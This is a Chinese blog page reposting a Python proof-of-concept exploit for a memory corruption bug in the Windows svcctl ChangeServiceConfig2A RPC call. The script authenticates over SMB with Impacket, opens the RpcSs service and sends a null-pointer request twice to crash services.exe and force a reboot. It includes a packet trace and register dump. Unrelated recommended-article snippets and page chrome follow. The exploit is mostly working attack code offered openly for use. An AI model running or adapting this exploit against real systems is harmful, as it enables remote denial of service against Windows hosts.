MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit

由psexec远控的实现原理到windows命名管道 CATALOGpsexec部分已有资产从被连接主机(lisi)的事件来看psexec到底做了什么从攻击机的流量上来看psexec命令背后做了什么命名管道我理解的命名管道利用具体代码实现服务端代码客户端代码 psexec部分 psexec一般会被用来做横移,只要我们拥有对方主机的账号密码就可以做到远程控制对方主机,我们首先看看但我们执行psexec这个程序的时候,到底发生了什么。 已有资产 用户 ip 主机名 zhangsan 192.168.23.23 red lisi 192.168. 阅读详情
  1. #!/usr/bin/python
  2. # MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
  3. # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
  4. # Tested on Windows 2000 SP4 Polish (all patches)
  5. #
  6. # Requires..
  7. # - Impacket : http://oss.coresecurity.com/projects/impacket.html
  8. # - PyCrypto : http://www.amk.ca/python/code/crypto.html
  9. #
  10. # Details:..
  11. #
  12. # [exploit] Session Setup AndX Request, User: Administrator -->        [target]
  13. # [exploit] Session Setup AndX Response <--                            [target]
  14. # [exploit] Tree Connect AndX Request -->                              [target]
  15. # [exploit] Tree Connect AndX Response <--                             [target]
  16. # [exploit] NT Create AndX Request, Path: /svcctl -->                  [target]
  17. # [exploit] NT Create AndX Response, Fid: 0x4000 <--                   [target]
  18. # [exploit] DCERPC Bind UUID: SVCCTL -->                               [target]
  19. # [exploit] DCERPC Bind_ack <--                                        [target]
  20. # [exploit] SVCCTL OpenSCManagerW request -->                          [target]
  21. # [exploit] SVCCTL OpenSCManagerW response(handle) <--                 [target]
  22. # [exploit] SVCCTL OpenServiceW request -->                            [target]
  23. # [exploit] SVCCTL OpenServiceW response(handle) <--                   [target]
  24. # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
  25. # [exploit] DCERPC Fault: status: unknwon(0xc00000fd) <--              [target]
  26. # [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
  27. # [exploit] SMB Trans Response, Error: Unknown DoS Error <--           [target](crashed)
  28. #
  29. # [Module services]
  30. # Exception C0000005 (ACCESS_VIOLATION reading [00000000])
  31. # -------------------------------------------------------------
  32. # EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  33. # EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
  34. # ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  35. # EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  36. # ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
  37. # EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
  38. # ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
  39. # EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
  40. # EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
  41. #               --> PUSH DWORD PTR [EAX]
  42. #
  43. # [Process services.exe terminated, system reboot]
  44. #
  45. # Just for fun ;]
  46. ##
  47. from impacket.structure import Structure
  48. from impacket.dcerpc import transport
  49. from impacket import uuid
  50. from random import randint
  51. from time import sleep
  52. host = '192.168.0.1'
  53. username = 'Administrator'
  54. password = 'Administrator_Password'
  55. interface = ('svcctl', '367abb81-9844-35f1-ad32-98f038001003', '2.0')
  56. stringbinding = "ncacn_np:%(host)s[//pipe//%(pipe)s]"
  57. stringbinding %= {
  58. 'host': host,
  59. 'pipe': interface[0],
  60. }
  61. # random dword
  62. def dword_rand():
  63.    s_dword = 256 ** 4
  64.    return randint(0, s_dword)
  65. # unicode string
  66. def utf16(str):
  67.    return str.encode('utf_16_le')
  68. # MS RPC string
  69. def rpcstr(str, id = 1, unicode_string = 1):
  70.    class foo(Structure):
  71.        alignment = 4
  72.        structure = ()
  73.        if(id == 1):
  74.            structure += (('id', '<L')),
  75.        structure += (
  76.            ('max', '<L'),
  77.            ('offset', '<L=0'),
  78.            ('actual', '<L'),
  79.            ('str', '%s'),
  80.        )
  81.    query = foo()
  82.    if(id == 1):
  83.        query['id'] = dword_rand()
  84.    query['max'] = len(str)
  85.    query['actual'] = len(str)
  86.    if(unicode_string == 1):
  87.        query['str'] = utf16(str)
  88.    else:
  89.        query['str'] = str
  90.    return query
  91. # MS RPC OpenSCManager
  92. def OpenSCManager(host, access = 1):
  93.    class foo(Structure):
  94.        opnum = 0x0f
  95.        structure = (
  96.            ('str1', ':'),
  97.            ('null', '<L=0'),
  98.            ('access', '<L'),
  99.        )
  100.    query = foo()
  101.    query['str1'] = rpcstr("////%s/x00" % (host))
  102.    query['access'] = access
  103.    return query
  104. # MS RPC OpenServiceW
  105. def OpenService(handle, service, access = 1):
  106.    class foo(Structure):
  107.        opnum = 0x10
  108.        structure = (
  109.            ('handle', ':'),
  110.            ('str1', ':'),
  111.            ('access', '<L'),
  112.        )
  113.    query = foo()
  114.    query['handle'] = handle
  115.    query['str1'] = rpcstr("%s/x00" % (service), 0)
  116.    query['access'] = access
  117.    return query
  118. trans = transport.DCERPCTransportFactory(stringbinding)
  119. trans.set_credentials(username, password)
  120. trans.connect()
  121. dce = trans.DCERPC_class(trans)
  122. dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))
  123. query = OpenSCManager(host, access = 1)
  124. dce.call(query.opnum, query)
  125. raw = dce.recv()
  126. handle = raw[:20]
  127. query = OpenService(handle, "RpcSs", access = 0xF01FF)
  128. dce.call(query.opnum, query)
  129. raw = dce.recv()
  130. handle = raw[:20]
  131. ##
  132. # ChangeServiceConfig2A() [IDL code generated by mIDA v1.0.7]
  133. #
  134. # typedef struct struct_1 {
  135. #  long elem_1;
  136. #  [switch_is(elem_1)] union union_2 elem_2;
  137. #  } struct_1 ;
  138. #
  139. # typedef [switch_type( unsigned long )] union union_2 {
  140. # [case(1)]  struct struct_3 * elem_1;
  141. # [case(2)]  struct struct_4 * elem_2;
  142. # } union_2;
  143. #
  144. # typedef struct struct_3 {
  145. # [string] char * elem_1;
  146. # } struct_3 ;
  147. #
  148. #
  149. # /* opcode: 0x24, address: 0x0101203B */
  150. #
  151. # long  sub_101203B (
  152. # [in][context_handle] void * arg_1,
  153. # [in] struct struct_1 arg_2
  154. # );
  155. ##
  156. class ChangeServiceConfig2A(Structure):
  157.    opnum = 0x24
  158.    structure = (
  159.        ('context_handle', ':'),
  160.        ('switch_is', '<L=1'),
  161.        ('case', '<L=1'),
  162.        ('struct_3', '<L=0x00000000'), # <-- vulnerable argument
  163.      )
  164. query = ChangeServiceConfig2A()
  165. query['context_handle'] = handle
  166. for i in range(0, 2):
  167.    dce.call(query.opnum, query)
  168.    sleep(1)
  169. dce.disconnect()
  170. # EoF

【WRF数据介绍第一期】静态地理数据介绍及下载 WRF数据介绍第一期:静态地理数据介绍及下载 阅读详情

相关推荐

A B C三个气象站的小波分析结果解读

在小波分析的过程中,信号的不同频率分量会在不同的尺度上显现,而纵轴上的数值表示信号在相应尺度上的强度或能量。2. **小波方差的横轴(水平轴)**:横轴上的尺度表示用于分析的小波函数的尺度。1. **共同趋势:** 在所有三个点的小波方差图中,随着尺度的增加,方差逐渐增大,尤其是在较大的时间尺度上。3. **尺度30的特殊性:** 在所有点的小波方差图中,尺度30似乎是一个特殊的点,对应着一个较长的时间尺度上的波动或变化。2. **方差的大小:** 方差的大小反映了在相应尺度下信号的波动强度。

weixin_44259522的博客 860

总结的关于 RPC Fault 原因

1. 编译器参数:需要通过编译器参数 -services 的值,找到配置文件,所以这个是必须要配置的,否则找不到和服务器通信的接口。2. 上下文根目录context:这个也是需要配置的,也是最容易忽视的问题。Flex3中应该是在URL地址的下面。3. 输出路径:Flex中默认的输

mine_1的专栏 2101

局放起始电压(PDIV)与击穿电压(BDV):绝缘系统设计的核心参数 [特殊字符]

在电力设备绝缘系统设计中,**局放起始电压(Partial Discharge Inception Voltage, PDIV)和击穿电压(Breakdown Voltage, BDV)**是两个至关重要的参数。它们直接反映了绝缘材料的性能和绝缘系统的可靠性,对变压器的设计、制造和运行具有重要指导意义。本文将深入探讨这两项参数的定义、测试方法及其与绝缘设计制造的关系,帮助读者全面理解其在电力设备中的核心作用。

mubiao05的博客 2635

Memory Corruption: 代码中的内存损坏问题

大家好,我是默语,擅长全栈开发、运维和人工智能技术。内存损坏(Memory Corruption)是软件开发中一个棘手的问题,可能导致程序崩溃、数据丢失以及安全漏洞。在这篇文章中,我将深入探讨内存损坏的成因、检测方法和解决策略,帮助大家提升代码的稳定性和安全性。关键词:内存损坏、C语言、内存管理、代码安全。访问未分配的内存访问已释放的内存缓冲区溢出这些操作会破坏程序的内存布局,导致未定义行为。技术描述示例代码内存检测工具检测内存错误编译器选项启用内存检查智能指针自动管理内存。

沉淀所学,分享所思,让热爱与成长同行。商务记录AI实战经验,助力开发者快速成长。 热爱AI,希望做出有影响力的技术成果。 技术点亮生活,分享连接价值与机会。 专注AI落地实战,陪你走好技术每一步。 2万+

深入解析uncompyle6反编译pyc文件及常见错误修复指南

本文深入解析了使用uncompyle6工具反编译Python字节码文件(.pyc)的完整流程。针对实践中最高频的KeyError和Python版本范围限制两大错误,提供了详细的修复方案与步骤指南,并分享了处理复杂反编译结果的高级技巧与安全实践,是进行代码恢复、调试与分析的重要参考。

uber9的博客 536

wsl2上运行带有Isaac Gym的程序报错: GPU Pipeline: disabled

显示GPU Pipeline:disabled,查找相关文档发现是WSL2目前不支持Isaac Gym,时,想要在wsl2上运行,最后报错如下。

2303_78660611的博客 958

python 网络协议 库_impacket-Impacket是个使用网络协议进行工作的工具集合

What is Impacket?Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (fo...

weixin_36338813的博客 417

【AirPlay】苹果认证MFI学习

配件认证是一个过程,通过这个过程,可验证其配件符合MFi技术规范,并通过苹果指定的任何认证测试。MFi门户中的产品计划 "认证 "页面将指导你完成特定配件所需的认证步骤,并指出何时完成所有要求。在完成所有MFi认证要求之前,你不得制造、分发或销售任何配件。在开始MFi认证过程之前,你必须测试你的配件,以确保它符合最新的MFi技术规范,通过产品计划 "测试计划 "上的所有适用测试,并与它将声称具有兼容性的每个苹果设备兼容。

天天的博客 2277

解析错误“[RPC Fault faultString="" faultCode="400" faultDetail="'sr' parameter is invalid"]”

问题:前不久我利用ArcGIS Api for Flex2.2 + ArcGIS 9.3服务进行IdentifyTask时总是弹出错误 [RPC Fault faultString="" faultCode="400" faultDetail="'sr' parameter  is invalid"],弄得我束手无策,每次调试进去看到spatialreference也不是为空,为什么总是错误呢?

lxping1012的专栏 9053

MATLAB应用实战系列(七十七)-基于长时间序列栅格数据的MK检验

1 MK检验介绍 MK检验是曼-肯德尔法,又称Mann—Kenddall 检验法,是一种气候诊断与预测技术,应用Mann-Kendall检验法可以判断气候序列中是否存在气候突变,如果存在,可确定出突变发生的时间。Mann-Kendall检验法也经常用于气候变化影响下的降水、干旱频次趋势检测。目前常用于长时间序列的栅格数据的显著性检验,在植被覆盖度,NDVI,NPP等方面尤为常见。 该检验功能强大,不需要样本遵从一定的分布,部分数据缺失不会对结果造成影响,不受少数异常值的干扰,适用性强。不但可以检验时

wenyusuran的专栏 6291

PCL 加权局部最优投影(WLOP)简化算法

WLOP算法是一种点云重采样方法,通过迭代优化实现点云均匀化和特征保留。算法包含数据项(加权平均位置保持几何特征)和正则化项(排斥邻近点实现均匀分布)两部分。代码实现基于PCL库,通过KD树加速邻域搜索,使用高斯权重函数计算点位置更新。参数包括输出点比例、邻域半径、正则化权重和迭代次数。该算法不依赖网格信息,适合处理大规模扫描数据的预处理优化。

点云侠的博客 633

python 使用dce/rpc

资料下载 这里在线看其中的PDF 转载于:https://www.cnblogs.com/kkindof/archive/2012/06/11/2545274.html

weixin_30367945的博客 761

yolov5 FPGA实现及verilog代码仿真

本文介绍了一种基于FPGA的卷积神经网络加速器设计,采用混合架构实现网络功能。该系统将训练和图像预处理等复杂计算保留在PC端执行,仅将主干网络部署在FPGA上。由于片上资源限制,建议通过外接DDR存储扩展容量。文章提供了完整的Verilog HDL源码,包括卷积单元(convUnit)、卷积层(convLayerSingle)和处理单元(processingElement)等核心模块,均已通过仿真验证。该设计采用流水线结构,使用浮点运算单元实现卷积计算,支持32x32图像输入和5x5卷积核处理。系统架构图中

QQ_778132974的博客 577

[RPC Fault faultString="Send failed" faultCode="Client.Error.MessageSend" faultDetail="Channel.Connect.Failed error NetConnectio

[RPC Fault faultString="Send failed" faultCode="Client.Error.MessageSend" faultDetail="Channel.Connect.Failed error NetConnection.Call.Failed: HTTP: Status 404: url: http://localhost:8080/WebRoot/mes

foart的专栏 4076

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

RPC连接错误

在使用RPC客户端和服务端连接时,出现log4j:WARN No appenders could be found for logger (org.apache.hadoop.metrics2.lib.MutableMetricsFactory). log4j:WARN Please initialize the log4j system properly. log4j:WARN See http...

dev_xp的博客 5146

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

远程过程调用(RPC)详解

原文同步至 http://waylau.com/remote-pr...

weixin_33913377的博客 6244

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

网络请求及各类错误代码含义总结(Errors Code)

  在很多时候都会遇到错误, 还会带有一些 Error Code , 比如在各种网络请求, 文件操作, cookie 错误等各种错误的代码和错误代码对应的含义. 以下目录为 SOCKS4 Errors, SOCKS5 Errors, FTP Errors, HTTP Errors, CFURLConnection &amp; CFURLProtocol Errors, File Errors, ...

DCSnail-蜗牛 8万+

Metasploit利用MS17-010漏洞

端口扫描 使用nmap扫描主机及开放的端口:nmap -sS 192.168.1.* Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-25 15:06 CST Nmap scan report for cvr328w (192.168.1.1) Host is up (0.00049s latency). Not shown: 998 cl...

江左盟的博客 2万+

Fabric的FNS项目报异常:gRPC failure=Status{code=UNAVAILABLE, description=io exception, cause=ja

直接点,就是访问的目标访问不到,可能是地址写错了,可能是配置了什么东西不让通过. 首先确认IP或者域名是不是写错了,没有在看目标地址是不是做了什么限制; 像我就不一样了,明明约定好了一个域名,同事配的时候配置了另一个地址,后来实在没辙瞎猜,询问之后才搞定. 如果你是用Fabric的FNS项目,除了这个问题,十有八九就是节点的地址配错了.对比一下相关的yaml文件里面的配置,对应的匹配上就好了. ...

想到哪记到哪 6336

rpc服务器不可用自动重启,出现RPC服务器不可用的解决方法

出现RPC服务器不可用的解决方法RPC服务器,是指Remote Procedure Call Protocol,中文释义为(RFC-1831)远程过程调用协议:一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。当RPC服务出现问题的时候,我们打开很多程序都会出现PRC服务器不可用的情况。RPC服务器不可用有以下几个可能及解决方法:一.RPC服务没有启动或正常启动,我们可以通过...

weixin_32334681的博客 4462

Windows 横向移动的常用技术

横向移动不仅仅是需要收集明文凭据,还需要收集密文凭据,在遇到防火墙受阻和端口限制的情况下,我们可以使用建立端口转发稳定的隧道来与目标进行通信,当用户拥有某些权限时,我们也可以扩展危害性,感染其他用户来进行横向移动。

每天一小步,进步一大截 2772

ChangeServiceConfig2

ChangeServiceConfig2The ChangeServiceConfig2 function changes the optional configuration parameters of a service.BOOL ChangeServiceConfig2( SC_HANDLE hService, DWORD dwInfoLevel, LPVOID lpInf

小发猫 2863

PsExec流量分析

当使用远程计算机上本地管理员组成员的用户通过net use \remotecomputer\ 命令建立IPC连接的时候不会以完全管理权限的管理员身份连接,用户无法在远程计算机上提升自己的权限,并且无法执行管理任务,如果用户希望使用安全账户管理器(SAM)中的用户管理服务器,则必须通过远程桌面连接来登录。大致是说:如果你的计算机是域中的一部分,使用管理员组中的用户连接远程计算机,此时UAC 访问令牌过滤器不会生效,不要使用本地的、非域内用户的账户连接远程计算机,即使该用户属于管理员组。

4SecNet团队专栏 1198

Windows IPC

IPC 的个人理解

hide_in_darkness的博客 2303

windows无法连接到打印机 错误代码为0x00000533,解决办法

解决方法1、首先找到要添加的打印机,确认路径和打印的名称。2、通过控制面板,添加打印机。3、添加的是本地的打印机,而不是网络。4、添加一个新的端口,选择本地接口即可。扩展资料:打印机的故障与排除1、打印时墨迹稀少,字迹无法辨认的处理,该故障多数是由于打印机长期未用或其他原因,造成墨水输送系统障碍或喷头堵塞。排除的方法:如果喷头堵塞得不是很厉害,那么直接执行打印机上的清洗操作即可。如果多次清洗后仍没有效果,则可以拿下墨盒把喷嘴放在温水中浸泡一会,注意,一定不要把电路板部分也浸在水中,否则后果不堪设想,用吸水纸

ahyouxiang的博客 8610
上一篇: MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07
下一篇: MS Windows DNS RPC Remote Buffer Overflow Exploit (win2k SP4)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值